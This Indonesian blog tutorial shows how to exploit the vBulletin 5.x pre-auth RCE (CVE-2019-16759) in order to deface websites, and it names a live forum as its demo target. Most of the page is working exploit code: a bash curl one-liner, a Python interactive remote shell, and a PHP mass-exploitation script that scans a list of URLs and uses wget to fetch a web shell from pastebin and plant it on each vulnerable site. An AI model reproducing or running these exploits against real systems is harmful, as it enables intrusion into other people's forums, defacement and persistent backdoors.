Deface Poc VBulletin RCE (CVE-2019-16759)

2 min read

Deface Poc VBulletin RCE (CVE-2019-16759)

Hai, kembali lagi bersama saya. pada artikel kali ini saya akan membahas lagi tentang bug pada website. Nah pada artikel kali ini terletak pada web yang menggunakan CMS VBulletin. Nama exploitnya adalah Deface Poc VBulletin RCE (CVE-2019-16759). Langsung saja simak artikelnya.

Bahan

  • Site vulnnya.
  • Cmder (bagi yang menggunakan jendela).
  • Internet
  • PC/HP

Proof of Concept

Kita siapkan dulu webnya yang vuln biasanya yang menggunakan versi 5.0 sampai 5.4, disini saya sudah menyiapkan demo nya : https://forums.cdjw.org/.

Langsung saja kita buka cmder untuk mengakses toolnya untuk test vuln.
Link tool : https://github.com/nako48/CVE-2019-16759

Disini kita bisa memakai single ataupun mass ya, karenaini hanya contoh saja jadi saya menggunakan yang satu. Itu kan sudah keliatan vuln, selanjutnya kita langsung saja eksekusi.

Bash Exploit

#!/bin/bash
#
# vBulletin (widget_tabbedcontainer_tab_panel) 5.x 0day by @Zenofex
#<br># Usage ./exploit <site> <shell-command><br>
# Urlencode cmd
CMD=`echo $2|perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"'`
 
# Send request
curl -s $1/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20shell_exec("'+$CMD+'");exit;'

Python Exploit

#!/usr/bin/env python3
# vBulletin 5.x pre-auth widget_tabbedContainer RCE exploit by @zenofex
 
import argparse
import requests
import sys
 
def run_exploit(vb_loc, shell_cmd):
    post_data = {'subWidgets[0][template]' : 'widget_php',
                'subWidgets[0][config][code]' : "echo shell_exec('%s'); exit;" % shell_cmd
                }
    r = requests.post('%s/ajax/render/widget_tabbedcontainer_tab_panel' % vb_loc, post_data)
    return r.text
 
ap = argparse.ArgumentParser(description='vBulletin 5.x Ajax Widget Template RCE')
ap.add_argument('-l', '--location', required=True, help='Web address to root of vB5 install.')
ARGS = ap.parse_args()
 
while True:
    try:
        cmd = input("vBulletin5$ ")
        print(run_exploit(ARGS.location, cmd))
    except KeyboardInterrupt:
        sys.exit("\nClosing shell...")
    except Exception as e:
        sys.exit(str(e))

Auto Upload Shell

<?php
/**
 * @author ZakirDotID
 */
class VBNightmare
{
	public $url;

	public function __construct()
	{
		$this->_banner();
	}

	public function setUrl($url)
	{
		$this->url = $url;
	}

	public function isVuln()
	{
		$postdata = array(
			'subWidgets[0][template]' => 'widget_php',
			'subWidgets[0][config][code]' => 'echo "ZakirDotID";exit;'
		);

		$run = $this->curls(rtrim($this->url)."/ajax/render/widget_tabbedcontainer_tab_panel",'POST',$postdata);

		if (preg_match("/ZakirDotID/i", $run)) {

			$post = array(
				'subWidgets[0][template]' => 'widget_php',
				'subWidgets[0][config][code]' => 'echo system("uname -a");exit;'
			);
			$kernel = $this->curls(rtrim($this->url)."/ajax/render/widget_tabbedcontainer_tab_panel",'POST',$post);
			sleep(1);

			echo "[VULN] {$this->url} ($kernel)\nTrying Exploit..\n";
			$this->exploit();

		} else {
			echo "[Not Vuln] {$this->url}\n";
		}
	}

	public function exploit()
	{
		$postdata = array(
			'subWidgets[0][template]' => 'widget_php',
			'subWidgets[0][config][code]' => 'system("wget https://pastebin.com/raw/pd2PVBA8 -O p.php");exit;'
		);

		$run = $this->curls(rtrim($this->url)."/ajax/render/widget_tabbedcontainer_tab_panel",'POST',$postdata);
		sleep(2);
		$cekShell = $this->curls(rtrim($this->url)."/p.php?ajax=1");
		if (preg_match("/Hidden Uploader/", $cekShell)) {
			$shellna = rtrim($this->url)."/p.php?ajax=1";
			echo "Success Upload Shell -> {$shellna}\n";
		} else {
			echo "Gagal Upload Shell! Coba Rce Manual Gan :D\n";
		}
	}

	public function curls($url, $method="GET", $postdata = null)
	{
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_USERAGENT, "BOT ZakirDotID");
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_COOKIE, "cookie.txt");
		curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt");

		if ($method == "POST") {
			curl_setopt($ch, CURLOPT_POST, 1);
			curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
		}

		$result = curl_exec($ch);
		curl_close($ch);
		return $result;
	}

	public function _banner()
	{
		echo "VBNightmare By ZakirDotID\n";
	}
}

$vb 	= new VBNightmare();
$files 	= readline("Input List? ");

if (!is_file($files)) {
	echo "{$files} File tidak di temukan!";
	exit();
} else {
	$getList 	= file_get_contents($files);
	$list 		= explode("\n", $getList);

	foreach ($list as $key) {
		$vb->setUrl($key);
		$vb->isVuln();
	}
}

Disini saya menggunakan yang versi bashnya tapi ya sama saja.

Baca Juga  Pengertian, Jenis-Jenis & Contoh Cyber Crime

Jadi cara menggunakan toolnya dengan cara seperti ini :

bash namatoolnya.sh https://sitevuln.com/ command rce

Untuk upload shell kalian bisa menggunakan wget,curl,echo. Bisa kalian searching di Google saja. Jadi itulah cara Deface Poc VBulletin RCE (CVE-2019-16759). Jika ada kesalahan mohon dimaafkan karena sama saya juga masih belajar. Untuk kalian yang ingin belajar tentang Tutorial Sql Injection Pada Kolom Search silahkan klik disini. Terima Kasih.

Spesial Thanks : TatsumiCrew
Source : https://blog.exploitee.rs/

Avatar

Cara Menghapus Background Tanpa Aplikasi

Halo guys kembali lagi bersama saya , pada kali ini saya akan membahas tentang Cara Menghapus Background Foto Tanpa Aplikasi. Sebelum ke tutorial cara...
Avatar Fegel Haryanto
1 min read

Leave a Reply

Your email address will not be published. Required fields are marked *